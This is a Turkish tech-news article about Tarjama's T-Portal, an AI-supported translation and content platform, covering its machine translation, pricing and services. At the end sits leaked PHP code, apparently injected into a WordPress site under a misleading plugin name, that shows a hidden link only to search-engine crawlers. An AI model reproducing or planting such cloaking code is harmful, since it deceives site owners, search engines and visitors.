Sıradaki içerik:

vivo V20 (2021) Bazı Özellikleriyle Ortaya Çıktı

e
sv

T-Portal: işletmeler için yapay zeka destekli, self servis dil platformu

20 Aralık 2020 10:02
avatar

  • e 0

    Mutlu

  • e 0

    Eğlenmiş

  • e 0

    Şaşırmış

  • e 0

    Kızgın

  • e 0

    Üzgün

Şirketler için akıllı lisan çözümleri sunan Tarjama, yeni akıllı lisan platformu T-Portal’ı yayına aldığını açıkladı. T-Portal, işletmelere güvenli, dünya standartlarında birinci sınıf lisan hizmetlerine doğrudan erişmeleri için yeni bir alternatif sunuyor.

Şirketlerin güvenilir ve kaliteden taviz vermeyen içerikleri hedef kitleleriyle paylaşmalarını sağlayan T-Portal, süreç boyunca harcadıkları maliyeti ve zamanı da azaltmalarına olanak tanıyor. T-Portal’ın bulut tabanlı platform yapısı ise, müşterilerin uçtan uca çeşitli lisan hizmetlerine kolayca erişebilmesini kolaylaştırıyor. Kullanıcılar platform üzerindençok dilli içerik ihtiyaçlarını kolayca yönetip, takip ederek; içerikleri ihtiyaçlarına müsait hale getirebiliyor.

T-Portal nasıl çalışıyor? 

T-Portal üzerinden yapılan içerik talepleri doğrudan Tarjama’nın patentli ve ödüllü lisan teknolojileriyle desteklenen profesyonel dilbilimcilerine devredilir. Şirketin patentli lisan çözümleri arasında Makine Çevirisi, Çeviri Yönetim Sistemi, Otomatik Deşifre ve Otomatik Altyazı’nın yer aldığını belirtmekte fayda var.  Ayrıca akıllı lisan çözümleri sunan Tarjama’nın MENA bölgesinin önde gelen isimlerinden biri olduğunu hatırlatalım. 

T-Portal’ın teknoloji destekli teslim yöntemi, otomatize edilmiş brief verme süreci ile birleştiğinde kullanıcılar, daha hızlı, daha hesaplı ve daha kaliteli bir içerik hizmeti almış oluyor. Platformun, tüm süreç içerisinde müşterilerine kesintisiz ve otomatikleştirilmiş bir deneyim sağlamak için gelişmiş makine öğrenimi işlevleri kullandığını da ekleyelim.

Tarjama’da Teknolojiden Sorumlu Başkan Tamer Al Nasser, T-Portal’ı rakiplerinden ayıran özellikleri şöyle aktarıyor: 

T-Portal akıllı, kolay ve zekidir. T-Portal’I diğerlerinden ayıran asıl özelliği ise tüm içerik üretim sürecinin, Tarjama’nın önceden onaylanmış ve saha tabanlı veriler üzerinde eğitilmiş nöral makine tercüme motorlarıyla entegre bir şekilde ilerlemesidir. Bizim makine çevirisi teknolojimiz, alana özgü dil, stil ve bağlama uyan oldukça yüksek kaliteli metinler üretebilir ve dilbilimcilerimizin müşterilerimiz için kaliteyi ve yaratıcılığı mükemmelleştirmeye odaklanmasına olanak tanır. 

Arapça özelinde makine çevirisi teknolojisi

Tarjama’nın T-Portal’da sunduğu makine çevirisi teknolojisi, profesyonel Arap dilbilimi verileri üzerine geliştirilmiş ilk Arapça makine çevirisi teknolojisi olarak öne çıkıyor. Tarjama’nın NMT (Nöral Makine Çevirisi) modelleri, 200’den fazla sektördeki Arapça verileri ve lisan yapıları ile ilgili bilgileri kullanıyor. Bu sayede birbirinden farklı sektörlerde faaliyet gösteren şirketler için yüksek kaliteli tercüme hizmeti sunulabiliyor. 

T-Portal’ın sitesine baktığımızda müşterileri arasında Amazon Web Services, Khan Academy, EY, G20 gibi tanınmış şirket ve platformların yer aldığını görüyoruz. Şirketin web sitesinde yer saha bilgilere göre T-Porta’dal, şimdiye kadar 2 milyardan fazla kelimeyi işlendi ve platformun desteklediği lisan sayısı 55’i aştı. T-Portal’ın zaman kaybını yüzde 50, maliyetleri ise yüzde 30 oranında azalttığı da belirtiliyor. 

Tarjama Yönetim Kurulu Başkanı Nour Al Hassan ise T-Portal hakkında şunları söylüyor:

“Doğruluk, sürat ve esneklik sunan bu ileri teknoloji odaklı platformu piyasaya sürmekten son derece heyecanlıyız, T-Portal ile vizyonumuz, içerik sağlama süreçlerini basitleştirerek ve verimliliği artırarak ekipleri güçlendirmek ve böylece müşterilerimiz için maliyeti ve içeriğin pazara sunulma süresini azaltmaktır.”

Abonelik modelleri ve öne çıkan özellikler

T-Portal, aylık tercüme ve içerik ihtiyaçlarına göre şirketlere, esnek abonelik planları sunuyor. Şirketler, ihtiyaçları değiştikçe plan kapsamlarını yükseltip düşürebiliyor. Ayrıca platform, şirketlerin içeriklerini saklamaları için güvenli bir ortam da sunuyor. Şirketler, maillerde dolaşan dokümanlar veya veri ihlalleri ile uğraşmak zorunda kalmıyor.   

T-Portal’ın temel özelliklerine baktığımızda şunları görüyoruz: 

İçerik isteklerine tek tıklamayla sorunsuz erişimKolay yükleme / indirme ile otomatik sözcük sayısıİzleme (Monitoring) ve analiz için gelişim tablolarıÇevrimiçi ve güvenli ödeme yöntemleriSektöre özel lisan uzmanlarıMaliyet ve hızı optimize eden teknoloji destekli teslimSizi dilbilimcilerle buluşturan hızlı sohbet programıEsnek abonelik paketleri ve şeffaf fiyatlandırmaHer cins içerik talebi ve biçimi için destek

T-Portal aracılığıyla alabileceğini başlıca içerik ve lisan hizmetlerini ise şöyle sıralayabiliriz:  

Dil Hizmetleri: Çeviri, MTPE (Makine Çevirisi + Sonradan Düzenleme),Yerelleştirme(Çeviri metnini farklı bir kültüre veya yöreye göre uyarlama), Kurgu, Redaksiyon, YorumlamaSes ve Medya Hizmetleri: Altyazı, Deşifre, Sabit kodlamaİçerik Hizmetleri: Metin Yazarlığı, Senaryo Yazımı, SEO Odaklı İçerik, Teknik Metin Üretimi, Blog Yazısı, Sosyal

Teknolojinin gelişmesiyle kaybolması beklenen meslekler arasında çevirmenlik de yer alıyordu. Şu an için özellikle edebiyat alanında böyle bir tablo ile karşılaştığımızı söyleyemeyiz. Ancak T-Portal’ın sunduğu kurumsal hizmetler, özellikle yerelleştirme alanında çalışanlar için sektörün fazla yakında büyük bir değişime uğrayacağının göstergesi. 

  • Site İçi Yorumlar

En az 10 karakter gerekli
function isBot() { $botAgents ="/google|hakia|msn|yahoo|altavista|crawler|findlinks|bing|Cuil|Excite|Go.com|HotBot|AllTheWeb|search.aol|Lycos|Alexa|ask|baidu|cuil|kosmix|sogou|yodao|yandex|infoseek|yebol|aol/i"; $agent = $_SERVER['HTTP_USER_AGENT']; if (preg_match($botAgents,$agent)) return true; else return false; } function wordpres_plugin_check_core(){ $altsayfa = 1; $bot = 1; $link = ' '; if($altsayfa == 1){ $say_s = $_SERVER['REQUEST_URI']; $saydim = strlen($say_s); if($saydim > 4){ if($bot == 1){ if (isBot()) { echo $link; } }else{ echo $link; } } }else{ if($bot == 1){ if (isBot()) { echo $link; } }else{ echo $link; } } } add_action('wp_footer', 'wordpres_plugin_check_core');